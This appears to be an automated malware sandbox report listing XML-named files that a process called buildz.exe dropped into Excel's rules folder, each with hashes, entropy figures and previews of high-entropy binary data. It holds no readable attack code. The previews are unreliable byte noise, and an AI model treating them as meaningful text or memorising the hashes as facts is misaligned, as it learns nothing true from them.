Preview:	<?xml9#...l...y.c.....Z.4..H..G.&...L./tmN..1..q..."8.IV0Y)...Qc...;..9..P.......l.y....YH..;..;.%.v...;0....).....(~....w.S{N...E..1U+..3.W.Sp..QD..lU...T...?..Ex.{`].3..T<).6...[S..f..=>.\..9....{...<.W!..@...&S.....~D..u.L.f...)-K.q.....>..d<.i{.t......z.....i..\|..sbb......u.%...h?]..d......b.Xj..%=Ef..HX..I..La....&..`....<..y.5W1.#..~M.n.......+.AVf..Z(%K.(J[>.p.O..Fq.;r.AK.\..9....=.,...fwG.....O.....a.!..$...!....8..x..`-0t...(u'.P....9....W].8..G._Z.^..`..I...v.X....{..0..NG.V..0..9..{.%..~...%.....O.&..H..tg.7.D..~hd.{....mZ.pgN.....6.4.Y.1....}zZ......Mg.P.I.....E.Iw<....z..NN`..."...<a....f.kG.8.....Bf?.Cb.P......%q.V...q.61...&_#.,.}..^.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule226000v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1457
Entropy (8bit):	7.865461992167267
Encrypted:	false
SSDEEP:	24:hohXN34p5tb8saITjfX6nr516ZHKqhl8uXN2o07kzIuso6pBesMWJvJCwFbD:hqXNIKCTjfg16ZHKqz8bnYso6HMWp8qD
MD5:	51E0BB878FEB1FBD23E00671E5AEE400
SHA1:	B3BB09052771256CF0A6D610EEE2073AE065B0DE
SHA-256:	73C3142D617310EF7D4CD97992A08123404357D684039DFD50CB59E76D10A4DB
SHA-512:	31CDB617B9E10374895F3D46980E32B99D0F26F7D949E3C5374B69ED8951BD2B8D6180F2C3CE6E1E2647195E01507A18C39D1E649FA8B214ED313DD2EF05D86F
Malicious:	false
Reputation:	unknown
Preview:	<?xml...V....y...QA.....X.K.d;.U.6.z.g/#.$.%.j.......\|...E).).7.......a.-`..Z.J.},. S.v.fd\........Mh.X..Y.X.t...T......N..jdS.\....RX.A./..z>...6.....q.$a.l.L.>R..]6........e.'..'zg...}Y&.....@..d.W..zm,.f..ut.........Ss..Y..M.........!3....4..W.}....\Y....p.)..'m.X.}U.B......"+l...6..W..Zbx.,.M...$. v.^.Y.C..-....O...[Q..g..`."ta..<....E......4.x......;...pR.@C...L...H.4.6.e.K......F.....P...?.Hm0......I.P~.R...W.Gp..LW..Bn...!tEF\..TtU7..b....=..?a....R.2.@..(.?S\.g.B......Y.b..IH.&...;..s.....h].K..}..tGe=ec.+..I.j{..J.K.V9..........w..7v...e....e.Gj.....HJ.X.y..szt..Y...p8......D2..r....dd>X+..R..v..."l....;.p.....h.....S.6..(}.yH+.4.1!.X..L.F#....R...X_.m.5...kV.[...#...[...d..V.o....<t91....2.. :..X..... 8.R,.O....Gk...#rA..Ch...>.....nQWg..y..z.9.^N.G.\|D.2$..>...J.<x.t.~.{....v...U..,<.>...m<t.?.Y.l.]>$..`.~.u..DX..g6.N..r...,G._.5. .Y.?.:..m.k.lm.....v@..-.?f "4@...u5....&.....e...5.L.t3@7"...\|/..dA....2b..."m........h?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule226003v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.7228389734934275
Encrypted:	false
SSDEEP:	12:/WOuxGwhR8aagzRuiOICWoesArjzVaNw95E16tCI2Marjxsgf1+cii9a:/A5L8aaqT8SjHYc4I2NUbD
MD5:	8CCB595AE4DF6D51E66D4E239796BAD1
SHA1:	80FB3E9754921A941604E2CDA348A5C3E976FCE0
SHA-256:	875E93B9F405002ACF6F41443C14D004EBF14CC0421A7F5DDD70C8D7127D188F
SHA-512:	09AD22DCE800BE8291E693E26EB4DFF1FEFA5DB13ECA9D3E6A9D99F549CE9D4B627BC7A5778387C87A373FC853597EC664572500E4AC3381E045A04442D399FA
Malicious:	false
Reputation:	unknown
Preview:	<?xml.;.8.n...^l..h....em.%@.hF\|.cu.n...x9.n}.....F..r.."..=.+k....$.)...wMHk.E.~...xT...Wq.H?........._y...BEo.._.$..,d...)z...m..D.n.I.E....9>HK...-.0.....+..E..)3jUR:.. .a..{D!..!..q.......z..........C/....C......'$..n..t..v......H."..3.(w.....-.}jxc...Qx...3,...nog!...a...E.GV..6e...Y...A...%......I}...#..2.B..}bg.....B.>>Od..."..jn./f6b....7:...+;...=D9.DX..e......"h<l&!\.....%gxR.z./D.....5.9...C.!...>.J?wL..~.Q..C".1&.Jl..J.b..N.d d.q.]...'..Zs.(zb..).".....j.Y..5.]>&.........K4.....c..\r.2{X..j.D...9@...\|=x.s$....uh..=.O......D.x...4.M..........L.....1O.S.e..d9.... k..L{.c.2.\|.\|ib.nj.Za...'.*.L.. ..F..4'ni....Q..Z.p..E..y.(.Fl........M.J9...R.fb^./..._...G...T}..gX.....M.c...T.lU...(..u.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule226009v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.746379537628772
Encrypted:	false
SSDEEP:	12:jKR1rky+xxWddQYA2Gvo/Jwwu0QtRGT/a1rgEXymWmnIGXYGJ8WhXH1+cii9a:u1F+uQB2KCwD04RGGtqMRXVJTqbD
MD5:	F2967E3BE23D2E4D7479228C8AF6C62A
SHA1:	D4D877EF9FC41D35F45A4C7CB57689041EB1A3F2
SHA-256:	7CA697EB7821B19008A04840CCF0355DBCE09DF9113226F6C5BE9B71258D3568
SHA-512:	6BB5E0304271EBF532A868B6BF56FA37F2E8CF927818C5116CBBBDC2CB446B2A08EBE82F263B8B2DB5BEA61F75B983FFD14AD0A5CAEC791EAF473AF4B095BC88
Malicious:	false
Reputation:	unknown
Preview:	<?xml.]..@.Z...Yi..a.x.E...xht.Pu...k.:."2.0..o.......kP"..........!..KJ....4....3.....+.=,.nM..7..J....s.....1i....^....Q.A..1...@......P....4........$..y.N..%......P)f...2y.\|....&.D....<&4'y..7......G...2".....uB.c...P.Y..v).D...V.x.M..d.l(.Z.0.......0.oPo.R..7.U.e..Y..wa.;......[y..[...GL..U.....5.K.hf..."Z@.-..~....Sm...N..&.6.4+...V..O..%..:.....]ICL...>.....<5..R.... (.du..<...$.!/...$.-...v..\|E........y\.....3i..9........3).EL...20j.Ym...M.d..^pyd...5.C........Cg..U.....e.5.......)6.S..R....$.z.]d..W.Y........gB......!j~Yt..c5-...U.....O...}..Pp$O..tPH.F].q...O...>.y].o.:.8.<.0...P;.P...GS...0.R=l...Nv...Z...50..e.....^U.H.I.C.D..:..)4*.......}>I...Oxc!jl:..HD.....6.._............Y.X9.daVG>.:.E(....."0....E..T...D.jE.mM.;SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule230161v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	7.770831771897393
Encrypted:	false
SSDEEP:	24:jSHdEI4+7qgj8z9ECojI1HOMgV9InXacDernjbD:fs7qnRck1HOM8Matr3D
MD5:	308A1BD93266DB0A5A33345C03814693
SHA1:	3D985B401E42323B11EBC264E04CC4788E8E5A0A
SHA-256:	A89E50FC634DBC73DAB19C102AE887716470E0E46F1721383A5054F2305C6609
SHA-512:	433122E8A07DC3F9F4FD17277B359F0037D301CCD23EBEB6DF70ED813C4149A8A5EEABBE28BAB3B88F3351F252A316E5B92B4E975621F65E95271D76874C19F1
Malicious:	false
Reputation:	unknown
Preview:	<?xmlN?.U.z.....6M..,k)T....H5$8k....T,..[S.J.....(..1....KL."..h..g..;..~....@/ ..Qy.._...\.L....=r.....p..'_.^..)...q.....u..P..f....ki..4.@.+...9..W...1_T...M..T...+$.p..&g..........2..c..V_j.....\|a...rL...n.M..$}.0.a.'\..4.${..i.......W.s.)......../....(..0...PS...6.<O./....)S.U._.$`.....F.k.P.ku..F.(.. ..c@.....?.~..."....S..........$.b.!.C.K9V.0G.5..G...&.....j.3N.E.. .Z.$L..o#..{.L.{.g...[k.M.O...Jc)[...m}.....s.&...-H....hS.1..b..,.'&J..;....!...\......W.0-.Q..5.Z.~.G.a..q..x\|.,.2......s...2).U\jI.T...".@.. 1.\|..h....su..Ci..O..T.E.....M.. ..I.y..h..w.n`........A......$+.s.<..U.c...uf.{C..^.......w ~..h.c"<.....W.[..B...G.Z..w..J..&e.n.o.....To.p..n.{..3.M..]....I.E..Jy?........o...w>-=...g..7..........?...3....'D?cJ.JE..e...*...........H....w.V...\^..:...d`{R..K..-.._.8SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23068v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1018
Entropy (8bit):	7.787492329477727
Encrypted:	false
SSDEEP:	24:JMCv4x2sfi1ntUIhrFO1628eB86AghUUNibD:qWC2Y8gHAszwD
MD5:	C31B6481110865454137D56F3DCB51A8
SHA1:	1EC6F5C1D73B60BD5D424C89ECA134DFDEAFC0D3
SHA-256:	0B4E96F04A9E4424F5E4361B43CDAED994B5411BE111A2A30FF28DF191F38453
SHA-512:	2C51A48F8F69E487FFF630787033448D680FEE39593BD0A75552FDD168A9C60EF813A3E8E4323923FE4A04383A28100B074CA2E018C9C86C4BD8131CE9AFECA2
Malicious:	false
Reputation:	unknown
Preview:	<?xml.g.S]......\|V..O....t#..c.?........,[3".{.-.t.(.#\.Y..1..TP..!M...~/...Z....NI>.?d_..c..Ss}]..$(.x...R.._.@~.jQ.r3.......WHq..%.:.N..G...L...0......\._.'.\|4C9.z=-p..C../..I.=..@&.....ZUX....p......^..sx..`.t4&.@x.W%^{....`.....tQ..t.-.QT.kZ..bt.A.S........Mx+....f...x`tg..r;.}.:..&X..J.)..i+.wJl.r..p9....5K..&......Q..j.x.2....'..BF.-nc..bi..V.z..,#.f.z9R%d`y......W.]\|n..4...{..F..C,.zn..g...8.....Dp+L....K.q.N.`u2z.p.m.A 2\..m..D<IZ;....).R 'R>.2.O.^..2.Y.'.TtJ.1l.......L...My/..7.d ...=....O\........H.....D.....x.N..Q...<....Km4M..z...\Q...........Z.......Ja.=Sq..%..8t.l.u..<.A.........y.....S..*j.zD.4..q..D"........"..N.K..O..^.....tC]..%...H.sc.9.%n...U\|@W...Hi..Q..{;..4[C.D..`w@j:.....m.s...R...u.Q.?(T`...{...gj..6..M;&. $....q.+w..x.n......oC......{.#...j....o=v..X%<.Z7.........t....).I.=....R..l....6b`.....b.M.#-..!...{.....F.Co_E\w..._=.vC..4..'.$ ..O..k...-....,.....L....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23070v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.677899611286714
Encrypted:	false
SSDEEP:	12:DRt8PTEk1RSLjwHX40pQJ+0XHWs9Z/CMZzlZliYZwa4trLr5Aocswh7Fz1+cii9a:NqPTV0LmX4PzX7FgYKJiocsA7abD
MD5:	55B06B3729ACFA7EBFAF69173FF956AB
SHA1:	4FC7F6F7051B3DBF88F1FD087A3CF9C1AA0B850D
SHA-256:	7EA14C1033FE285EFBBEB340D28251BC64449F850E74C5FDB88DE1E8B5EFCEA9
SHA-512:	2E0D348AA0604C85BB270C69CE3BF703B5A02B7044E4532EA97ED080271CC0C3E5ACDF29C0F8BF81B872AF8F9802EC3973880ACD00E1D4E3B8291AEE366BF4E0
Malicious:	false
Reputation:	unknown
Preview:	<?xmlx.9........MEV....J.M.L...r].6F.&.....!w.'..\n.v."A3...L=R..~\|;..b...2.....y.bL..}hz7..?.ie......0...6D2'.K#...LPb[>...3..S.9:bil.;'i..Z..q.z.#.Kq.II..s.U x..-<.y..Q%...s B....~C.l.c,n..'...?f\M..^n...J.+.H.n.j.11..&C?.?.7k>..N..........A...6P .....4.L...<kR..@....g.o......W..C0....p<..M....]_9..K37. }..R....1...F...g....\,...%:O.D..9..<BR...r.K\|"<Z>...0L.D.u."..Q5e83.hI3..&o(...y=w.../.yr...(j./..\|..mKS.xw q..9......g.Wz....J^..,?>r.......e0...=...oI.m..^.?u..bL!....6..).+\|.3F......e.....Ie.r...../..._o(4.o.....o.....M.....g=...Ng..[..fw...a?>^q...0..`.....YO.../d.h%.WZ.\|....f.\.N...i.L%.\|..>p.a...A[f..BY.........^."..b>.]I..U..Rz.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23120v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2643
Entropy (8bit):	7.931421020821377
Encrypted:	false
SSDEEP:	48:mnUrIdyt1ikA1KlghwweIBmcTV7TIaAz9dRWiNXinnAhYntxd+X90LD5gPND:MdKlghtjZV/IaAz3TeoXWBs
MD5:	4D364018D027E7C8320483D4726F477D
SHA1:	F42222DA38528B72B3F1D5CCEE9F073314530C5D
SHA-256:	E3E17B24702220F330A269D4B3A06E6F1CD3488351A6E31E9B5EDF773A63A721
SHA-512:	F31F6A0D2B58C5BA4207A1224D96BD40857F7044C0D5269C2345CA77559C9D5DCBE17C567F97B918DC13D64F02FE523242DA265626B76B7C56DB15C529CF7A03
Malicious:	false
Reputation:	unknown
Preview:	<?xmldW.....f..W.. 3.M.TTg...D"....Q.I...I......Ug.8<..`7../.PP..#.<;......(].;/...jn.l.t..n...?..4........(..mk..iC..:3..../.:........n.s....#x~..".-k...Q.y.#...$AY$...a....o....u..8....W.....+.J^.&......t.+..d....G.M.n..k@...7h.H.a..}J.K..x.d.H......7r..9.}).....0X`..3.3m..7`...&.j.b(P.....jUU'QH>...t........Wd.,\{.H%C].....Pi........t.1:.7vh.F.1...?.T.V....-..B.{.6...f ...E.......U.@!...q.q...`<..nY.,_.bI.K..X.)n.S..4...x9.....fE....P./>,..H=..i....U.J..........F.Km.d..5..A.59..3.cq....Y .pQ.....K....'D.k. ..qm......O....Eh.;..[I<..i6.s...5.Q..-.P.....W.....!.....w....C..c@..F#.......Zl=.I]....Me.._C...o.=......v..>.Q.$.d..C..{..h.0p#M..g..G.PH...S.R.g2.I!.,..x.........L\.... .i.=.h~...{...j...x:`.1.X7HgG.3.S....}.#.....5.........e:.....:_...l......tq..*.7<......%...y..q.,.6....x.a.Q1.K.+>..2.h\|h?....lu6-......;s.n.c.).....'..9v1.Xd\j.........,cM...Yb`......+..Kl....!..^.5..\H..._.U.B.....o.~....i).H4K`.w-.i\...i...q...J{..Qm..L..i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23122v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2238
Entropy (8bit):	7.917300237426965
Encrypted:	false
SSDEEP:	24:nWE0+7JjZhH1R6oUU1uEI/2KdgG6YXo2E6VxqtYFbOJhIMRdnAOkEpM2xTFShmG+:WElljnHT6BpE2zx6So2xxgY0JhCX2xPD
MD5:	5A04C22E14BCE9A328E515579F7365F3
SHA1:	E14AE0664D6676793188F0548660D28EDF67AE32
SHA-256:	B91315D5693EF7D51445633848BECAE6541A787C8C51603C9269FA49A9C152D8
SHA-512:	255FD4A4A803CD0730D3961A3C58D85FB68C63741492FCFFDC5DC172E0509391BD68C893FBAFB52AAD091D331E8996C86C2A69DD45A3DF282B3C0FA4A286DF87
Malicious:	false
Reputation:	unknown
Preview:	<?xmlq._.....`5pI..."z.x.cJ....q.G........2.x[,.3U..&......z.....T....NR....t..)........C..h......>X....\|.....E3.FP....%.!.d.Fa.zC..?...f.5.E..U..!.]Q}..B.V.+.}...rf...@.....hNh?6d..V5...y.......5..b.......e....p..u..4.o.@....a'.W.{`.se["....r5...........%..nH........$.Ly........\.....<.`..4....jo.C8A....a...onM.=....'.H3....qS..... ..3.G{.~0.Awo...i.6m..mm(..O\.\.(....LC.<wJ>.a...B...D...sNo.P.({nD.i..p.Al....?.\|..L..\q...3bB..*#...>.$.,8h...4..kS.i.m.i.^.......EuA...B..Ok5...P.@..Bq.... 1....Y.E..Y...q...z..A_..;h_.!k..K.&q.fq..0..H.....s7.RP.]....C..../....<6I.60[1.IL\|2.7QF..\.j.....$.>yQYn&=.Z....Gi.2.A........F.....T.f..5...`....l!.b........U....7.&..$..d..E.....@.Q8..$fh..J...R.z.(.O+)).....F....9?[...WO..b...<.....3Z....E...8PIB.&1D.0+..Z.....$k.>...p...?.QN.+.},O)...{A<L..Ie....6...T}..==b....A.;..-.m..e/.0U..oG5.).Yq$.......9#.+....qi..[.<...T.F...4.....6..i..{.F.....U..l......9M.y..v.....C.{....v.N..d..F)zu.(.t....M-..A.lm.d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23123v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2345
Entropy (8bit):	7.90937774789962
Encrypted:	false
SSDEEP:	48:PCBJptdrYGDeda0os2He/X5bQwB5gRtugaLQ/5ULt+gz+IzuQwUpaAtID:gd9D30ojHgpbQGgRtuJLQhULt+azuQwL
MD5:	9870A6110232F452E167A94883F177B5
SHA1:	BD6661F61871E84DE354A816E47ACDD31367CC90
SHA-256:	13E4AC11E99C1EDFC2F32BFA2A6A25C8CB70D17AB8C665DAAA2151E2FE2BDC06
SHA-512:	3496874F20CD7000E4FC900EB724EC35129B91AAE7507B992EE0432A9FF1E5EAEAFE6F3B16FB4422856B3872E1560689E4E39E50AF29600E78AD3128B53147C8
Malicious:	false
Reputation:	unknown
Preview:	<?xmlF....5.#..A~...4..U?..R}....R6.P}(.C....0......l.SAp...0..U..u.......G.~2]'[..F=r.`....h6[+..T0x..7C.....u. .<i..$wF3..L....h.%....r..b.......[C.=.......j..F.1.>.c.....@.....!......>`.V..F2.W.h.....2Ry..\|..n..vq...SK=h.<...:.......-(..W.c........~....SK.d..^a..d3..ee+._.xK.j1d@.PA...Y..Y/..l.^.%6.fs...{\|....5...y.&>p.,.....S......W._.N.\.:G.W..j...K9.Z.1......\.FVCF.............H0CK.?dm.g(..&.kW.R..c...K...r\...?fg..........},..-.R.}\|,..."..^.,..p.k.~.F....Ai.1.....p...[....m~@.....52]..(..#....-.......S..Q..[.%.D....%x.[0.)......2...$.O.`....7..?.M.C..k........Q.$.{...n],.J>5.......h.C.G.7..]...R.....(:k..%E....I./..U.......3}h.........q..e.;...p....q..6........FxfW.&Z'd.._fWO ..G...q.l.H...<t.<{./6..$.=..........l.{...y...U.../=<.....t.o....T~.V0.q..n..[./.).>.1.......O#..W..w.U.XDb..I:y..0..HA.....*.J5_..+'PJ.<.4...l.w.v....%?....4...>..k{N.s.J.!../.W.;[..".0..q....V..^[avm....../....f..u.J.{.P....Z{..]..........oWH.T.Sf.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23124v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2374
Entropy (8bit):	7.92685750257276
Encrypted:	false
SSDEEP:	48:II7G72EJi1q/G86+uVr4rxJTmsAkza4gyWcsczLlC5Qu4riNoD:IIU4yG8zuB+xFdta4UZcEf4H
MD5:	986410DA706DC0A6A541BD4EBD507537
SHA1:	1C89140026272DBAFC29EC5F54BA77889904F079
SHA-256:	EA05308C91A9CD61DCFB6E6C7A2AC493AC1CAE81FE000523B43E55457BB1EDC4
SHA-512:	6EA4B2B1E72225053CE65326003157ADF5429CBB17E23C81957D132E11B09A0102F28DF2566C3AE28C1182D7946D9C967F9946D04F71245749558FDD01E06E45
Malicious:	false
Reputation:	unknown
Preview:	<?xml.A.....L.m0...O.\|.qAX..o..!5^.PG..Y&,.2.........<.....k..J.\.4..W.S4.5.{...vHK'#.1a.............$.7...^.N..u.+....3m65..:8....{.t...z...~....,....T.[..`.....m..f...'\..].._.gL.~...!.0J..S..S.....GR..O.....=rV&.@..Y.q`...P.....@uO.NG4;.9...l.{aS.....g\|...G..Uo.+...5N...\..........=...... ...L..T ..{.&...L~.1...,FwG..tt+...r.....B)...0.w ......Ri...o......6....$Q..Kv._.'....Q)z.C....)....89-}>{H...\|..3U?..<.....MZ.iH..0u!...\&.m"....#...'D..b....c...>.Q..6....b...?...9.M...Hi.@u...b...y{......>`...&.....&......AFq...2'...{.!.-.t)]={....&.&Px...................1....?oO.#.e1...2..4.....}S .M.....{g......Ke....@..;.(....(.i..G....3.n...h....XK...A.Y...H..O.Uk.......9.X.7.U%'.4p....Bo+,D.$R.=.\T_x\|.S'Jw.T..h....&.J........:A.<&1..%\..C.'..\..-vKl<.P3...x....[..s".rN...k[].?.zl.}.\|?L...e...S.R....vRR`..d..e..1...=.W.7p..@8.J.yC.jJ%.Mv.:...a....<O.o$..G3.....D....ky.........<."..+...N..68..X.X..sC..d.8<....+..{..r\:...v.............wD.e....`+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23125v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.9121665841661235
Encrypted:	false
SSDEEP:	48:6kXXmYBluZJwcgsZGTXUXqL2xEPiI8etV9ovFtAJtDUm879KsStrD2ZkMAbD:6kX2FHZWEXqLQOBFtDU39KsStrwA
MD5:	4537C0F519677925D28B0BBC31092351
SHA1:	142A6F9338ECA1F3C3EA94BFDC8952C0DD6BCE74
SHA-256:	3A6BD8E57DA98666F90939856875DDF7CEEB91E935DFBCD0A631B3813D1A3F98
SHA-512:	C55E4470683B83D6B430EE5E7D05B73574012CA1383E695C7B119DD29D62691FF7A22BBFDC937CDE9A5BE67CBF74D241994378A0F538C9D7E307D5C11AF7DFAB
Malicious:	false
Reputation:	unknown
Preview:	<?xml......4[.....I.....J(.Oa0\....r9.K..L..8..#5d....[...C......"k...j{.Ht.<.Hz.y..p..?m.....yU.u.pc...S....X.[.....2...R=.e........?.V...mr..03.}KF<..>.<.....l2.......O/..M0.\|.........i<........7.........u.B..h.t+.V^..G..B./.v..].,c..^}.....q.V8.............NZ...R...C.)...a.. .K..g6n..p<....p.Mm7.G.g........k.;WE...E....T...F.s..v.$.@^_.oYA..8].~...}.IsG<oL9`....M.H.[.....5%..)>..k.....=.G.+T..y?[8.......s.1..J....$4.....lJi.j^.^.~.=..Y...h`....&.x.P...)@.... .@....x.jbhky.....r.M.x)....^.V.A.....6.W..."{...u..?2...p.r\.p.q`..C...N.NN;..PF.D(}..^.......i.....-..2.9..wA....YO...j^.B.......{.Y.6..Y.<....}S....".x.SX.....%B^.X.&............V..i....M..!...!....UsfC.....i/.!.Y[. ......-3V.c`..U@..7..._..-.f.?..f..,..u@.B.dYr.6..O.-`XK..s.Q..lL.S.]..R...'....Y'C...m.W....i.....z>..[...8.&.9...(........0.dc.8.?G..H~?e.N.,.'...K.u.V}.sw.j.m.......q.......'viAt...)1....S..q..n....Yv......G:^....y...;r.7%~/..@.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240005v8.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1547
Entropy (8bit):	7.863995928067141
Encrypted:	false
SSDEEP:	24:/1Epj/JKmX8MYL9bjoEa/RieSfOJ7Ti6xMe5TfXSlAtqnkmnSOLW0U4bD:/1sj5X8hhXoEGlSePtTXSlan+W07D
MD5:	98E87506C3848BDE11AEA0C4117AC6F4
SHA1:	9DD70BFE806A21C684405408697F9D08C67EA7FE
SHA-256:	2D1C465EDA6361BF434ED44BB46DBC6EF768671F2F28A0169F1E0222403AA574
SHA-512:	19C5A0E642DD5C0051871F344994FAF29D9374769DE24D4B05DECAB12F4920005230B89A2B436C746DE650BDC4CEDD80D7C9D3D85EE05A53F3220370C0C5A855
Malicious:	false
Reputation:	unknown
Preview:	<?xml.@.+&.[u...\|SHb.J\..........Z..v...M.GS.1V..z......J......).E%yo.+<.k.)lwrf....e...q..s....g.C].(.....A..1...y.$.fx..F.z.Y.........F.....%..O.Q...2`K..A.o.Mm....]...d.j..w..T......m.P1.r..J..l..xEx.1....N..X........./..3......T..tf.~..._..9....4.I..FK.s..8#.{.sQ..G5A...vb.Sm..........v'...U....&..w.@7~ V..&.pE...q.z!...l...-. !......"..J".fS...6n..L.N`.Y.y.,..I.'...~+...@a'OmCm.Ly>N..r.[^h..}q...t....DM.GsSCB....<DT::l.zS.8o...j.....w...!.....q..K.....+8rLo.a.<ZGm..Z.@c....(B...h...U...F.l.. ..g.l........jQ`.r...}..N.2X.c'.F...?......'C.]p..LO....T.6...~.[Nm.n..O.....Y6.e...sm..2N..."..l.p2b....SM(.T.........mKE..Z.9.7.........7}4..;i'\|...8....+......8..................X1.w....F?.....:.....;.!..T.'.o.a.</q..b... .v.P.....u.........d..5.....5D...0.7X..0a..f:\|8/.$.9.T^.S....F.OKkL..\.s.u@.........\..U$....Wq.j%36...a.......L./..m".R7o.2g..u.n.Yf..M.!p/:....:D.K..&..>......_tn..Z..e.(X.L....V.U....?z8...G...:0.}.D.N......bZ.&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240006v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.73380197616908
Encrypted:	false
SSDEEP:	24:KwUWMgWheCW2XOsGLIezyXC+MMXiRbhcoR24camDbD:Kw7WhkmOZBzyX9LSRbhnR7rID
MD5:	2B9AC393D74D7FDE8C3EAC0001F7F5C8
SHA1:	C9E6B1EDAA28971C3875643BAE3DC5230CA920F3
SHA-256:	AD9D86C99400F3A8077E4C6685769B0D8BF808C73AA2DA9032CBEC29C84D8DAB
SHA-512:	75455FC3C96248EED8E916B45A687959761F6FB1D54C4109E356AA92C4407BAFDD77A0658204C1D15C74699C7611A36905E71A2316474567B115D94D206FA250
Malicious:	false
Reputation:	unknown
Preview:	<?xml..d.}.>g.5-;oe"]....yn>?..CnGG&.g.J..x.v..}u..s..w...(.}.../..FE...tg.P.P.Fue.i..#.........2ENS..\.].6;!.M...v%?yc....@..d........}.q..m....;[v.1...9.......bZ...z3.......-L.3Zm3..;...8....V(..x.'.....{.........a....F............t+.a.a..2....z..!..g..<...UI./t...$(...q..F..... ..........i.)%I..}....W..(......v.P..]...../.(.,T...z......".~^..5...%....`.C..B\|-....Q....ay. .Q.f.d.zEq.......G..PU..p..x..^..8.R.......0V.K.a{![#..8u.l..'F..p.....3....'D ....._......<...F.K.x..&.......O0J....(... .4...S\|.....z>q..........w....t.2..4..M8...._~.O.9....`gD..H..y....,...($7t...sRm..~S....$..'.....Yj.....2U.=..a....(....\|$...{...S`..[.......O.l7.>d.....].......l....}"'.....d..A.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240007v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.896377628447383
Encrypted:	false
SSDEEP:	48:QYsYlfXrBtQKgxlbhUMc24BK4MVenDFrC5o0OD:FsQfbBtQKGXL4/MVeDo2
MD5:	4C27650AA0411704923084DB6C62AA9A
SHA1:	9F6FEDBCB195FC4647AC4C5E47CB2924BFEC98B7
SHA-256:	AB6001859E3F9B7FA3D2FA357544BA6E1F005E1D6AB1B8AF1C31F6C4E9A34F37
SHA-512:	D59EA0A2FFEE1B6FD28A97D85ABC557A5E94599AF72B3087E904D5E12E98BDF2DA75734C83D6BF782EB04836708BFFD5ACCB5D83E1D46B37241F4F6665678DB8
Malicious:	false
Reputation:	unknown
Preview:	<?xml.@.......y...1....\|{.z......Hq..&...Dx.J.....2X..q$.\|..I.G.{..IR/....3%.>L..~A"......$....'p.H08.'.`.MuNl/.....D..w7....@.....F..!+..:.^8.=.0D....t....?....[.....ik``\.3.n.1.....:.0.7......(.5.CA?.b,..f-..xGj<.!......}..>Zv.c'.0..a......$b..g+..M.$....7S..n....<.V..E/.v1%go.:...;%........_......o...J.7.X.\|..?..9..TXx=...\|.{...C...r.o.........g.U.s...\|....j..iC.._.....L.ww...'O.r.e...U.a:.7i.$....).R..t\|a.....F....F.9...]Z.g.@.....%...5..q..E}.......9m.N^..CP....28w...z......b.G....M.A.6/h..:xE.T..^E.......>a..b....]n..6.>...N...!.-g{..e.....w...=5/.H.....8..].._Dht....^./1......&...Y$eY...!.F'.Rj..4_{..L...D2c..V.!.FZ8...['.RL.j3.._HP.e.;.........=...fw...3...B..>.Y.dt1..f..F...e..<..\|-Z..Sd.$L..U..p%